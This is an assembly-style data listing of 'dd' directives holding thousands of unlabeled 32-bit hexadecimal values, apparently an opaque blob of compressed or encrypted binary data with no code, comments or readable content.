dd 0FC4085D0h, 0B14E6D3Eh, 0AA3A4C8Ah, 1BFD0B59h, 0D11A74FFh
dd 14991D58h, 0B431EC33h, 0DC400D06h, 0E9E08950h, 391E9A68h
dd 0E126DC88h, 12E03946h, 0FC3305Bh, 99C0B628h, 0D430877Eh
dd 0B2521CD3h, 0E2801682h, 0A71B0EA9h, 8CE5DCDFh, 0C899105Ah
dd 9360F9F2h, 1AD2D0Ch, 29843409h, 0D930C2E0h, 8DF58109h
dd 4530F42Fh, 0E91A8E34h, 8828DB6Ch, 1090B8Bh, 3C6F04F7h
dd 0C02E438Ch, 313A05C9h, 0ADB806EAh, 0CC926DA1h, 0CA987A8Bh
dd 783D680Ah, 9D03F96Fh, 0E065F248h, 63405CBh, 0B6E92307h
dd 0F784643Bh, 5C9A7CF2h, 209E876Fh, 120F1A05h, 9869B015h
dd 65FD0B90h, 88000DDCh, 32C228D4h, 7588C98h, 0D4E93960h
dd 851A0FDCh, 80A8F93Ah, 56521B4Eh, 0D8F72E2Bh, 47E1079Ah
dd 1F4F07F4h, 40D31F53h, 2BA215E5h, 0E97AF829h, 35C315Dh
dd 0D60845BBh, 2006D939h, 0F6506600h, 124541Dh, 26441A6h
dd 49F48040h, 0E7398853h, 92FDBA51h, 9D1459EAh, 5C2D92EEh
dd 24E97BE8h, 923E495Ch, 0EA2C88C2h, 889087FEh, 6ED8E913h
dd 10629E52h, 615F42D2h, 0A7DAB646h, 34DC2F9h, 36A6D20h
dd 1911824h, 4D108BD0h, 89145EC9h, 940095E6h, 402A494Dh
dd 7607F405h, 0E8C146E7h, 0F604067Ch, 0C76709A2h, 8A8801FFh
dd 31A70290h, 0FC806DD2h, 55EE2874h, 8FE3C124h, 0EBF3AC3Ch
dd 24B6B94h, 3F12B6EBh, 0BEEA807Ah, 0B87F0376h, 4DE97CCAh
dd 4D9EFA64h, 0FCEF39D0h, 0CC06289h, 0DB74D3BDh, 0F895B824h
dd 0DF885DB8h, 914D0681h, 3EC77050h, 677EBAE4h, 0C055CF68h
dd 865DC9A8h, 0B49C48CCh, 0B0090934h, 5B06A583h, 94553AD8h
dd 86804851h, 0C05C87Bh, 393A010Eh, 0EDDA982Fh, 7F48839Ah
dd 0D2610DBh, 63C3B824h, 9576322Dh, 177E4431h, 9E44D1CDh
dd 9994D381h, 93269325h, 0DD51A258h, 683A6940h, 359AC146h
dd 6709650Ah, 0F890109Dh, 0FDA18920h, 0F71A8443h, 26C251DAh
dd 0DC5E0446h, 87C28A11h, 51512F68h, 9713BFBAh, 5F93414h
dd 0CC7E6FD6h, 681F5664h, 55985EF3h, 2E78EE58h, 14E541h
dd 0C0E287C6h, 0F56789B1h, 4970EF1Eh, 0ED0162E9h, 807A271h
dd 9F70CDAEh, 979BE29Eh, 89290485h, 53AC026Eh, 0D826C1B3h
dd 5F7483EDh, 0F6F20A80h, 0E51D030h, 9A745452h, 58714606h
dd 0BB1E9628h, 3FB9114h, 0D2E70F6h, 0FF0C002Ch, 1FDCA72h
dd 9530E9F2h, 478F56E0h, 79F3F140h, 0E55C4C58h, 45163578h
dd 5D71CD8Ch, 580CBEE8h, 8FC79423h, 0B132763Fh, 0D9CB4356h
dd 9321ABBh, 0BE2D710Ch, 0BF02EBA0h, 105D71Bh, 35A3E0D3h
dd 9D9E5C7Eh, 48744E10h, 28758419h, 81D50101h, 0C62CFCC5h
dd 34CB20F5h, 4E051ACAh, 8521CE3Ah, 4051B78h, 0B0BF557h
dd 5FD0259h, 805A007Ch, 43B00CF1h, 674804FAh, 0B3173121h
dd 64FA875Ch, 92719051h, 7A783051h, 880D3420h, 1524C179h
dd 548BA837h, 188E045Dh, 0F1E1E98Dh, 0E70E6362h, 0F263330h
dd 29E0A968h, 5F5051B0h, 0C121683h, 67005D71h, 0AAE28142h
dd 4D0A2604h, 0CC1B1226h, 7559EE55h, 0A8609239h, 0A1BB0F66h
dd 0F1500C59h, 90BAF380h, 27864EDEh, 0F7E683E2h, 60B92003h
dd 0C06ABC3Ah, 17E181D1h, 375496h, 0EFEC1F7h, 31043998h
dd 0B95159CFh, 5C38D0C9h, 2EFC10Dh, 0C78C4006h, 0C5609AB1h
dd 685FFA1Eh, 7771687Ch, 6F422CECh, 0BA0113C8h, 0BBC383C5h
dd 0D7A433B9h, 0E1024B78h, 59024C33h, 9C10E366h, 6C4834C1h
dd 1C1FAC39h, 0D320B19Dh, 50FDA814h, 176820C2h, 8E537908h
dd 2BC03B8Eh, 29CCE405h, 11E9370Ah, 0ED80D5ECh, 0D9D0403h
dd 6851025Fh, 47DF5335h, 48372F56h, 1AEC83B3h, 85237FC2h
dd 548980C9h, 59AFE3EDh, 0C85C2444h, 0C11B4A0Eh, 1411687Fh
dd 0BA8A4Ch, 4E046FCBh, 274CF281h, 7F02B02Ch, 10E46407h
dd 61D62942h, 55A08082h, 0F6C948D3h, 817C341Dh, 888DC7F1h
dd 591960DBh, 634A14B0h, 8117341h, 23C83D35h, 0C8107A24h
dd 0B40E97BCh, 7A58E43Ch, 3456328Ch, 90E75E54h, 3BC6BB97h
dd 435B8F12h, 368EE302h, 0CFFE8EC5h, 23F32008h, 0B04C040Eh
dd 78620122h, 0DE955F1h, 0C5AA2806h, 0B414FCA1h, 4ACA1097h
dd 0AB07A550h, 872961E4h, 266AB268h, 830F19A8h, 6385410h
dd 40571AA4h, 84985289h, 0AAB059CEh, 18306002h, 42F10128h
dd 5E08056Ch, 0E9FD8899h, 0C444E4C4h, 0B15DEB0Fh, 36F6F03Bh
dd 32292A92h, 0B2A0E03Ch, 7E3F2909h, 55348247h, 0CA548C7Fh
dd 0E1893E51h, 59656532h, 0CFC2DA4Eh, 0C67A7B68h, 0C6E92E51h
dd 0CB808E74h, 53DBF647h, 8BE9BDEBh, 0FE1A8C81h, 32F114C3h
dd 0F518DE88h, 3030CE49h, 0B880CE00h, 0A0E71264h, 0C1701D0Fh
dd 29288354h, 1495E3C5h, 2410AB08h, 51AC0086h, 0C18063B1h
dd 98949A07h, 9B5F64Eh, 3DA9E96Ah, 9D192F12h, 0CE4B71C1h
dd 50326212h, 0AB675A2h, 1F366853h, 786ACFE9h, 45D64208h
dd 96C8ED08h, 9FFF90C9h, 0BDDAC0CDh, 77AB5418h, 8D4DD9F4h
dd 6E8154ACh, 4286DC55h, 2A905D0Ah, 0F15C009h, 26E99784h
dd 50182952h, 12AFC17Dh, 5F4B7240h, 5208A816h, 144D705Eh
dd 7685C05h, 0F7645060h, 83351442h, 6B03830Ch, 78EB6303h
dd 159152Dh, 2521690Ch, 0FBC30120h, 0C081A95h, 0FB451409h
dd 37AEB981h, 34715D53h, 1F234DC9h, 501DB300h, 0C4FE71B4h
dd 7E4FF2FEh, 0AB174C3Dh, 2DC0E035h, 5C632ED8h, 0B401723Dh
dd 0F752F04Fh, 43E6E0D6h, 684D1A0Eh, 5307C0C1h, 0E0217CBBh
dd 0DE292506h, 0F0011598h, 90F08997h, 16382DCDh, 8432436Dh
dd 0E90705F6h, 5ACDD37Eh, 8868F9E8h, 9AD90F4Dh, 46288241h
dd 4862EBDDh, 0F513311Ah, 4123CA73h, 14461F9h, 411AECh
dd 281713BDh, 9AC3B97h, 66A3760h, 34928682h, 524CA9CCh
dd 1E5702FDh, 0C859183Dh
dd 5BCC18Bh, 8982276Bh, 0C2DD06CAh, 0CC07301h, 5A294A2Ch
dd 13A75EE9h, 0D6651D04h, 520C4074h, 0F1882AB6h, 713524C4h
dd 1C3D0E16h, 8DDF9576h, 0A463206Ah, 63930A03h, 508012E9h
dd 84C56525h, 0E90C8361h, 0B5364BF4h, 8538021Bh, 34F729FDh
dd 19E8EB3Ah, 25E91217h, 0D5298580h, 5B5E795Ah, 59210076h
dd 0EE81C601h, 8C73D104h, 0B5C95254h, 35F1CE10h, 0BA2D007Ah
dd 9E2F4F7Dh, 5790C229h, 1716B3E6h, 650266C1h, 707D7325h
dd 79B9014Eh, 0DA21272Ah, 7C2A805Bh, 0E94AAA47h, 1325B650h
dd 0FE832166h, 536D86h, 2AC51121h, 598BFD09h, 8CD0023Ch
dd 20040D3Fh, 8EEB8903h, 0D9210BFDh, 23A005Bh, 9113E368h
dd 57FA89Ah, 3AFC5236h, 5E54C801h, 98B35840h, 0A1D8485Eh
dd 0D8A9B62h, 21804105h, 7C1E5A2Bh, 4F09260Eh, 0A5C28EDCh
dd 28A3D00Fh, 21BF2CD8h, 3819E9ADh, 23BF092Ch, 29838314h
dd 3E71107Ch, 94582F25h, 9805EDD6h, 5A30E92Dh, 0F75D1035h
dd 304F60DFh, 0E818CC7Bh, 1AF9092Dh, 0F8EEC3CEh, 17318013h
dd 20BF5753h, 5FFB89E6h, 6FD92928h, 0B187BD2Eh, 6852054Fh
dd 3B89161Fh, 1BF6B65h, 0D4E28104h, 4076407Ah, 0E43EDFF1h
dd 2C107F5Ch, 82088A04h, 0E1933C60h, 57AA0305h, 0A3C4E887h
dd 504D4889h, 0F705F1ADh, 51D07EE6h, 144C68A0h, 0E7691252h
dd 0A207ED28h, 0C200D05Eh, 0D3F7026Ah, 77D747E0h, 2CBA8558h
dd 0F443A22Bh, 58E680C8h, 5AF03930h, 28D6C3B3h, 28987F79h
dd 1E173E20h, 1507E2C0h, 7863B8BCh, 0B28402C2h, 2F454F52h
dd 0FEE3D220h, 1B162079h, 738EBB1Fh, 0F7535686h, 0BEDDFC34h
dd 9522603h, 4027914Fh, 0D466D2E7h, 0B32BC6ACh, 500D996h
dd 739241A0h, 48A19C5Fh, 32BF16EBh, 0A5A131B6h, 7058C328h
dd 6CB0D0Bh, 0E9D340C6h, 24869C40h, 497F0E2Dh, 9D66792Fh
dd 0BB8016FEh, 3C097340h, 4CB896Dh, 1FF05CFEh, 0C9E630E9h
dd 2887B726h, 0C8E6F87Ah, 7B89DEFDh, 3534B602h, 2E3C0671h
dd 6698D9ADh, 0C9F2541Eh, 691BC66Bh, 0C09534B4h, 0E6530482h
dd 60A1F0EBh, 69EE3BEFh, 0CE58B4B8h, 3A202D07h, 4382C13Bh
dd 0A252C29h, 4E580C1Ah, 0EE473F86h, 0E4913458h, 0AF1EED2Ch
dd 0F9202196h, 7CBE11h, 0F622DAC5h, 0EC04D6Fh, 407153D8h
dd 5DE81331h, 1B8A1501h, 0F665C04h, 39D3B4B3h, 0E2D1ADA8h
dd 6B806816h, 0AE4ECCDh, 23C30505h, 0CD131FE9h, 64E3E3B5h
dd 64EE2D30h, 27685EF5h, 6292123Eh, 5D59B852h, 7BE9129Ah
dd 6E25EC40h, 14FF06Dh, 560F4935h, 30C63118h, 643FE6DEh
dd 904C2D32h, 4A6968C6h, 0BFA2C809h, 0DD341809h, 0BB6F036Ah
dd 23B3D8D7h, 0B8E30581h, 0C00ECC3Bh, 0FD08E96Fh, 4EF97248h
dd 45546C0Fh, 0ADA4DDE0h, 0F73C1784h, 455308A1h, 848F2814h
dd 0C105C8AAh, 0C3C11CE7h, 6AB42A10h, 0A987B4h, 9EE90A24h
dd 0E5E93B54h, 8831C917h, 1EBA1015h, 6D6C15Dh, 2080BBC4h
dd 0FED4A43Fh, 98EF7F89h, 21960BFCh, 1FC06C38h, 5C09CF81h
dd 19BA2Ch, 4C029797h, 6495C4Ah, 5469E909h, 18205752h
dd 0BA523874h, 783F2382h, 0D478D131h, 822E0F0Fh, 24F12B3Ah
dd 1A655E48h, 84019B5h, 5B808578h, 0A20BA858h, 72D98247h
dd 8310273Dh, 0D9E3C036h, 6271C380h, 62440B2Bh, 0D40A8BC2h
dd 275F6401h, 0F780AA0Ah, 0E1F681DEh, 99520CADh, 0E39EF389h
dd 0B00BBF09h, 5AB8737h, 207383Fh, 0AA22FFD1h, 1F6025Fh
dd 8D843150h, 40F8A8DDh, 63157CC2h, 40BD06D0h, 5C2C70BAh
dd 0EB12F836h, 912562E2h, 31AD25C0h, 0E51D824h, 0DD12208h
dd 32BA6C01h, 4B8320E4h, 8BD87159h, 90342A2Ch, 0F1841BA8h
dd 0E9D3A05Eh, 2D3BB42Eh, 243A0B4Ah, 570C3150h, 9155185Bh
dd 0F0114996h, 251028C2h, 2AED1E51h, 0D8B9D705h, 0DE87C4AAh
dd 6BBB9395h, 0A26507C3h, 0E9584C24h, 4092E3C7h, 31EE0429h
dd 0DF304F0h, 0B71298B3h, 2828B2F8h, 0CFB26668h, 212428A6h
dd 0A91656F2h, 0C7FE3146h, 1F807404h, 9676B661h, 0B88084FDh
dd 8901CB45h, 683A905Eh, 31374E09h, 8EEE2651h, 0ED505E50h
dd 0D0008FC8h, 5C08053Bh, 0A60E3243h, 29E0CC0Eh, 63E95FFDh
dd 0E39752E9h, 6A14CF1h, 6F5A92Fh, 9B1203E2h, 0F12F1276h
dd 60402E90h, 590ED0F1h, 0CA092016h, 548049F4h, 5A7F945Eh
dd 4D9C2623h, 1B2C7327h, 50F42CCAh, 5C5E5C1Ah, 0DD82B765h
dd 0E08A6051h, 64B72E7Fh, 0BADA84Fh, 550174D8h, 2A145380h
dd 89132361h, 0DDC45BD9h, 77482h, 2D1D47E0h, 0BA010094h
dd 0F801DFE2h, 0AB0BA142h, 21D345E4h, 49382606h, 0DB68E8C0h
dd 0D38C4B4Bh, 0F63826FBh, 79F503D3h, 0E8B4945Ch, 630293D4h
dd 85018997h, 0C35DDE93h, 5B3725E4h, 748E6BB2h, 283E8495h
dd 0E14082FCh, 0CDC940E0h, 0B404B290h, 0E84AE990h, 8B4C6892h
dd 522F0A92h, 206C0788h, 79B70F99h, 936977B1h, 0EA80A020h
dd 0D43B8894h, 0CDC6125Ah, 4943D909h, 3720D179h, 2E0D133Dh
dd 4234016Dh, 0D86B1647h, 62196ACDh, 670C1477h, 0DF59D2D0h
dd 2F110ED8h, 3F5CE922h, 0B1F55A05h, 0A52C42E1h, 53825889h
dd 0C101F941h, 762008E2h, 2CC8405Ah, 1C6AA64Ch, 302602ECh
dd 0E96AB2C1h, 7D7D4FC9h, 7D2B1C88h, 46D3E984h, 2DF7830Ah
dd 6F211B21h, 6870341Ch, 324E3427h, 0A4A5CF70h, 0C5084360h
dd 1656AC2Fh, 0F6EA63EBh, 47016ECEh, 0CC2CACEFh, 0A0CA31F8h
dd 5B685F83h, 0C0ADC43Eh, 0D7F60061h, 0CEFC8850h, 0E7A7EC06h
dd 0E9E58158h, 0C19A3479h, 3108E805h, 0C79450C8h, 0EFE9AC20h
dd 0E0D1C453h, 35DDC057h, 1E7E4F1Ah, 9164D932h, 0FE184044h
dd 6F772870h, 1B1D0BF7h, 10206467h, 97E95D08h, 5F10CFB6h
dd 1B0F4584h, 0D03EBA7Ch, 4DB900E9h, 0B85DAB71h, 0C47ED283h
dd 2F5D76FEh, 0E9F82C3Ch, 52A2AF2Ah, 0C4CFBF5Ch, 45A4E136h
dd 0A7490B0Bh, 0BD8631BEh, 0F8754A21h, 0F04E2480h, 57E44033h
dd 0E98564CBh, 0A650CD4Ch, 74B60F66h, 0C7681ECCh, 45ED2633h
dd 4095A1F0h, 278ACA58h, 0F75E0D0Ch, 9D504ADAh, 3847F011h
dd 0D1010E90h, 82596F03h, 0CC2CF668h, 82A24B05h, 79E231CEh
dd 0DD939EC0h, 92F802Fh, 6258D1BBh, 0D1094699h, 0CB24902h
dd 3C1D3391h, 0F92D0639h, 3314B31Ah, 51F58827h, 4CEAC4BAh
dd 0E8F6876Ch, 214CF69h, 5980ED6Ch, 0F392120h, 0C1C5F928h
dd 3D71C282h, 68A8EF6Ah, 99408A9h, 0D4356801h, 90E8056Eh
dd 0CB15C422h, 928BAC3Ah, 8A4B91E6h, 0CCC54D2Ch, 0EC803D20h
dd 4148B044h, 0C4847D52h, 10478A3h, 0F74294F9h, 45907D60h
dd 60217720h, 2B4E685Eh, 0B1B4044Dh, 330A093Ch, 0EE298015h
dd 4AA9561Dh, 6ED186Dh, 7DB24CE9h, 9495F1ACh, 46309105h
dd 0E9120C83h, 79B37565h, 6669614Ah, 0C25D0270h, 4AB07134h
dd 407324BEh, 0FFE9E829h, 928EC369h, 0C724847Dh, 8484E225h
dd 0F0F49EE9h, 0B5513C58h, 3EDC009h, 0F8D3DC62h, 660041A7h
dd 694DDC57h, 9684E9E4h, 6B052E4Bh, 0C8A178Ah, 0C1832A5Fh
dd 0D47B030Ch, 64B6186Fh, 81C32D34h, 3221041Bh, 310B1D53h
dd 81535605h, 5DA28F01h, 9D607E39h, 485A4A1Fh, 0AD0356BCh
dd 921D4505h, 276D412Bh, 57253635h, 0A83462E5h, 0D9009D89h
dd 0ED41FDEBh, 0FA2A667Eh, 0DCEDA239h, 0B180C5A1h, 0CB203DEFh
dd 0D10CF313h, 29771511h, 7D0795FEh, 4133069h, 0A1CC258h
dd 3FAB59E8h, 0F63B02C0h
dd 0D6BE13D5h, 0D9815A24h, 23EC0860h, 0BA40C026h, 6FFE7093h
dd 96000CB0h, 29F872ADh, 60B4E9D3h, 511E255Ch, 68E60A85h
dd 0A654B22Eh, 711C006Fh, 265A3DC9h, 5A175952h, 8B0FE741h
dd 0E8C821D3h, 8A16D678h, 0DC540E84h, 5530E943h, 0E20FD53h
dd 2F5A7A47h, 11B84E11h, 701E1C1h, 6D3BA52h, 0F2FC12DFh
dd 702F18FDh, 5453D647h, 298B7B07h, 4F305AD1h, 24685924h
dd 699B7CE3h, 61034C08h, 2FF639E9h, 0CC543C22h, 0E9520B07h
dd 6E44628h, 6881B4D2h, 70E2D366h, 0C1482062h, 5AD53004h
dd 57ACE828h, 278C6802h, 0A348F6E9h, 1713FBBEh, 5001D70h
dd 16DC0B05h, 60B9B829h, 7BE6C84Ah, 314C71F7h, 834D50C0h
dd 469F79Ch, 0D2E343FCh, 0E03AAC07h, 48A1D232h, 0BE001FE6h
dd 7CA6516Dh, 201F681h, 0E92AF837h, 0BFA347EEh, 964CC0EDh
dd 140410D5h, 0D6E74879h, 34DF363Ch, 79370181h, 6D1CB371h
dd 0F75F2C67h, 2538C54Bh, 0EF2057E5h, 0F1AD02FDh, 0B0BE41E8h
dd 5318C84Ch, 3E4FF6A0h, 9932FB3Fh, 0E8945AD3h, 0ABB7412Eh
dd 4277C80Fh, 0D3F1EFFFh, 74B8F701h, 428E73B4h, 36E27714h
dd 0B40D729h, 0B859E9FAh, 55590E47h, 325CE750h, 31C249E5h
dd 0F07B460Fh, 3C5194C6h, 936B1927h, 0B4C834DAh, 64012D5Ah
dd 68BE1DA7h, 7D495429h, 390906BBh, 2DD07E2Eh, 0EE90780h
dd 58580097h, 9902C783h, 84DF129Dh, 1BE50839h, 7C64143Dh
dd 4C51216h, 0E95C62C3h, 1A800E50h, 0FEFCB151h, 3F6C0C9h
dd 0E72C63B0h, 3D084530h, 1C55964Fh, 3ECB6074h, 0F8875A32h
dd 78BB1205h, 0DA2DE47Dh, 9B91E40h, 0F2B5315h, 386B8AE1h
dd 78875982h, 69F89F25h, 0BB1014F6h, 883D460Ch, 0A53F2634h
dd 259D3194h, 0C5F8A233h, 805F5929h, 0D828442Ch, 0D20EB353h
dd 632BEB80h, 0B3C0DFF3h, 0AC074C03h, 88BDF724h, 0AE880401h
dd 2C5906CBh, 0D2FB468Ah, 57F94A4Ah, 0B25207B0h, 0F2801099h
dd 49E3B3Ah, 0FCE995C2h, 1252C7E0h, 5DFEBF57h, 42FEAC28h
dd 43057499h, 4621EEC2h, 7810975Bh, 26B60A0Eh, 0BF12BF48h
dd 9C7CB023h, 78406609h, 7D7C0A02h, 3292D5FEh, 7A2CE577h
dd 33406B72h, 0EC6E8E01h, 18B37CC9h, 1A410A15h, 0EF09B94Eh
dd 0ABCB012Ah, 0B24C5B5h, 6F5258E9h, 68752BEDh, 391D5C88h
dd 2580136Ch, 65051670h, 8D0F0D48h, 0F2EAF43h, 0F98AA033h
dd 0AADC7EE9h, 0CA68E2BEh, 599600CCh, 4C22AB64h, 0C7501DC1h
dd 46691894h, 2B109056h, 2D4EF12Eh, 8539D300h, 69AAE921h
dd 0E2F14EFAh, 5084D1A4h, 37828851h, 2C61D48Ch, 5712567Eh
dd 0E23DEE9h, 0A606B368h, 0F88839E5h, 9CC6E87Eh, 7FE986FAh
dd 0BFF43B61h, 4FFC8D7Bh, 9FF147ECh, 870F08C8h, 0DB10F7F7h
dd 81553F06h, 0E973C7BDh, 0AA79D194h, 0B1185F06h, 930A0C0Ch
dd 0BB44CC7Eh, 0EF235003h, 0EAEBAA0Bh, 4E3C7A08h, 5629805Ch
dd 3A097DBEh, 253174A9h, 4D945E24h, 0F28558Ch, 0EFC780E7h
dd 3862D249h, 8B13A75Ch, 4BE9B428h, 33C1C298h, 68417276h
dd 632E2209h, 3A5AE905h, 1BC5A391h, 38095B01h, 0C5538949h
dd 274D0864h, 52DE627h, 0DA689F2Ch, 5A5EA22Eh, 0A2053182h
dd 2621AF1Dh, 56E7C5EFh, 0FC0012B7h, 89375B70h, 6BF7E9FDh
dd 0DCB29144h, 68816253h, 1FA31B01h, 0FD1C062Ah, 0EEF60E1Ah
dd 6C691BB6h, 0DB8F2098h, 54015B14h, 175A26BBh, 0C5125592h
dd 3192C0A2h, 2930D9BCh, 33ED5031h, 0E98D74Ah, 21F84B39h
dd 0C9685883h, 1F642F65h, 563C20A5h, 0A5195404h, 0ADFFB042h
dd 14B527BAh, 515301DBh, 9C601FB9h, 0E006317Bh, 4B7DD30Fh
dd 0B388BB4Ah, 4DE9F8CBh, 5B2BC0E1h, 2AB38BE1h, 2F27BCD1h
dd 18A38A67h, 5562C152h, 0B741B94Dh, 726F784Bh, 2A41D30Bh
dd 815024D8h, 0FDA4F305h, 0EF00885Ah, 266F428Ch, 0CDF4C01h
dd 985B0840h, 3480E59Ch, 0EFC0CFFEh, 0F7368004h, 55980607h
dd 2F38A822h, 6B5B294Ah, 0E95F7C20h, 33CBEEFh, 7DE58145h
dd 20467FE1h, 173C210Eh, 48C13EC5h, 3B05763Ah, 1E1F076h
dd 0FC933B0h, 2E044496h, 0C549741Eh, 0B47DB801h, 9F412789h
dd 8005039Dh, 44EA81E5h, 465B7874h, 74FDDEC0h, 15328CCh
dd 1BC325EFh, 0BEC18393h, 68397B23h, 822C60F8h, 6CCC800h
dd 5E0778D6h, 43D3F74Bh, 0A3AB8049h, 0ED3F7416h, 1C6DA96Ch
dd 0F5D2810Bh, 26CF7890h, 0FC160C8Eh, 0EB2909C3h, 0E2D934FFh
dd 0A78793C4h, 0D9B70D15h, 6EB5176h, 0ED37E735h, 551D6752h
dd 0A2459605h, 16B34CE2h, 0EF05F6FFh, 0F584C8F2h, 5BDD4FC1h
dd 0EDEDD5C1h, 3AF2E0E2h, 0C16DC05Ch, 0AD476A7h, 1230FF94h
dd 5822C604h, 0E90B7D75h, 20F14911h, 2CBB8588h, 3AAC00EBh
dd 0E8C15F0Ah, 784F1EB8h, 0A2BB5E00h, 27F2EB05h, 684CDF31h
dd 1020FB48h, 0D54CDAADh, 7DF9EE0Eh, 0E0A704B2h, 0E8C0004Ch
dd 28F62C08h, 9294C588h, 98DEF0B8h, 0FE29958Fh, 0E8134A73h
dd 0A0E94760h, 4D4E9E18h, 5F864117h, 0CA6803E6h, 927AC664h
dd 0AB89518h, 8B7A5B57h, 0E9095C99h, 4615C248h, 0F6D29835h
dd 3CFB2C5Fh, 28370038h, 6DE93846h, 5C12CCB6h, 5659D8D1h
dd 52543A52h, 0C6B5207Ah, 0FAC0507h, 0C55053CAh, 1447AE68h
dd 72DF029h, 5E11A175h, 9B1F51E4h, 40E98B7Ch, 0A5696B29h
dd 0A035C458h, 30490D13h, 683AD6CAh, 539875A0h, 0E706A4Eh
dd 3A655E05h, 0C1803C9Ch, 2954223Ah, 7A32DC8h, 591104ADh
dd 31BB8333h, 0E0D066Ah, 4DF4FD16h, 0BE1504B2h, 80424A16h
dd 5C483FDEh, 5EE9080Ah, 6C8CCDEEh, 5CB49174h, 0E2D3F90Fh
dd 63E9825Ah, 61CB7623h, 332FA168h, 5D5400A7h, 556BA52h
dd 740F60BBh, 2F397288h, 3604F698h, 211E4857h, 0F10549EDh
dd 957C1904h, 4E760017h, 0D153E43Ah, 0BBE9E80Bh, 25E07375h
dd 0AD94E62h, 8DE95284h, 0D0797CE1h, 0F6A5C5F4h, 0C66079D0h
dd 1F5F5378h, 9F68120Ah, 0BB1C303Bh, 0DC26156Dh, 0C825465Ah
dd 9B6D9h, 0D8011C8Fh, 0E5E9405Bh, 80D8C248h, 6BBD12E3h
dd 5FD07DF7h, 31641680h, 890CBED9h, 59CBCDh, 7C4BA26Ah
dd 0E7810238h, 509E6304h, 0C7019BF4h, 101C4303h, 8430EA21h
dd 30FF800Ah, 181B74FFh, 0A9122E28h, 5807C150h, 400BA898h
dd 0B70486Bh, 0D1531119h, 26856D8h, 1B2E64CCh, 0FCBACE9h
dd 901165DFh, 0B4E6850h, 771DFCA8h, 49D47982h, 0DC87A204h
dd 3D00A199h, 0D6093A5Dh, 4E8B685Ah, 26453302h, 186E4F65h
dd 0DFF73691h, 0BF25C0F4h, 5C27D01Ch, 0F50A3D2h, 29A311E0h
dd 80322564h, 3082B99Dh, 3385B540h, 0ED060086h, 5A65381Eh
dd 97CD012Ch, 594C0820h, 5F699447h, 12CDE28Ch, 0B34F15E9h
dd 458A92A6h, 0F4E25D78h, 5BC22E5Fh, 0BB9A5B0Ch, 0F331095Ah
dd 2909295Eh, 0D9C7DE02h, 1325440Ah, 0B688F5CDh, 20BC641Ah
dd 84E9C555h, 44278A03h, 0CC9255A1h, 77CE92Ch, 8BC775A6h
dd 7DF41459h, 64C7BC66h, 1F3BA835h, 0DBD65958h, 0CE79AAE1h
dd 0A1DB1DD6h, 0CC0D0F2Ch, 0FF40390Fh, 3E0C7684h, 55A54974h
dd 85A8885h, 10BE0294h, 5C045945h, 8D0F3E68h, 1A462BC4h
dd 202D6EEAh, 0B43B4E28h, 342AD32h, 6D3C31BFh, 0F80D06DCh
dd 0B9944C2Bh, 0C3011451h, 0B8765044h, 0CA096956h, 84E0C121h
dd 0B8ACDE95h, 0C9DEA35Ch, 7BFA1F53h, 0F11A9A09h, 3F04F052h
dd 5F6325Ah, 31633CE1h, 8F98143h, 5208941h, 24C8DE2Ch
dd 4C62F81h, 4AADA580h
dd 0DD31533Fh, 5E0840BDh, 0BBAE336Fh, 5C0D1306h, 6F1CD121h
dd 740305B7h, 0F7BFDE34h, 0A9D6A2B2h, 9A050D4h, 2A693FD5h
dd 23A35180h, 9021DA1h, 0E5C158C5h, 0CFAAE003h, 34462605h
dd 27DE004Ah, 0FD092D3Bh, 0FB1E5F60h, 0BDEF3FFFh, 26A1B782h
dd 68148D94h, 0CFA83FD7h, 0DC72055h, 275D63D6h, 6B48D5F7h
dd 530BE0F5h, 0AB890138h, 5EDACE28h, 54EE91C5h, 8A420B5Ah
dd 0C42EE9C3h, 19D0F525h, 0E46D313Fh, 49D6E919h, 2351D85Ch
dd 59CE6FC7h, 0D99AE47Fh, 534881B3h, 83D28A24h, 585AD188h
dd 0C587D7A7h, 0BD31D08Bh, 0F9095003h, 4EA016Ah, 0F412370Fh
dd 2B955C62h, 0FEF7EA95h, 5549BEFAh, 95569274h, 1D49CD3Bh
dd 537A78B1h, 5C3F1C96h, 90525B0h, 0B7F6D849h, 5FDE2D32h
dd 0E398C3h, 80F5B5C2h, 0E5C06AEDh, 0C7A30573h, 0E934C5C8h
dd 8022204Ch, 4296ECC3h, 176812A2h, 1F7B4469h, 9B13E8D7h
dd 6831D78Ch, 0A7FD4AF3h, 87222A75h, 0A5D15C15h, 26B16882h
dd 4F62E9F4h, 0E4B17CEDh, 0E91C1383h, 315A76A0h, 0FA836B5Bh
dd 500005B5h, 2D803936h, 644B01BEh, 0FE316008h, 0C9BE9D5Fh
dd 0CB72240Eh, 86E700EBh, 0D0F3297Eh, 0E90C081Ch, 0D07731CFh
dd 99852C3Ch, 0C56B5F54h, 914A314h, 0D117A668h, 4625B829h
dd 0C9CF54D9h, 0EA3B68FCh, 480C1214h, 545B033h, 0C1BA07B1h
dd 83C73039h, 0C373D9E8h, 0C3DFE90Bh, 0D7A6CD77h, 0D6B2224Eh
dd 6858A70Ah, 302D5E0Bh, 0E261E9B5h, 0C9263A7Dh, 0BCC2F733h
dd 5D15A17Ah, 9DED505Fh, 1301E65h, 69B865A7h, 0F8D49D34h
dd 0D1A4D44Dh, 0F019103h, 1395BD1Ch, 0C5EDE90Bh, 545ECAACh
dd 6B99082Bh, 42C1D53Eh, 0C9D823CBh, 5404BB9h, 4CF01CFEh
dd 1526796Eh, 7744A5CBh, 782C0C4Eh, 857EB187h, 8A37EAE9h
dd 0D02E7B9Eh, 0E140E9D3h, 57BAE09h, 0F07F1F2Dh, 25EEC731h
dd 93F2D1D8h, 0C77BA410h, 9364F212h, 7C1092ADh, 6368094Fh
dd 816DD145h, 50C01D53h, 0D38C314Dh, 3FE90F17h, 895864C0h
dd 59C3F0D1h, 2C20E0E7h, 8D0806D6h, 0B46B8804h, 4A8A4C27h
dd 53FCCC54h, 0CA0186B1h, 74E81213h, 28A5120h, 152BDC3h
dd 90FC5AD7h, 589FE90Fh, 485CB152h, 0EA309053h, 0C2015E10h
dd 0AFAD0AB4h, 66ED3C4Bh, 0F1F70E36h, 0B3579268h, 16AA643Fh
dd 0ACF78140h, 0A700A1C9h, 6170E705h, 0AAC4E941h, 879A60A8h
dd 1C280F6Fh, 0C900D9F7h, 16D8696Bh, 2EC0E914h, 0E9BDA5DCh
dd 164E1184h, 126356F4h, 12E7336h, 0FF39BDEBh, 0DCF1305Fh
dd 3315D294h, 0E4D10D6h, 411FBB3Ah, 0F38100DEh, 42035E87h
dd 2FEBE917h, 4AA6F539h, 81C19D20h, 0F6685206h, 3E1A336Ch
dd 6D1B2E57h, 0F8EA2989h, 42FB00E8h, 0E6817840h, 0F23B1D03h
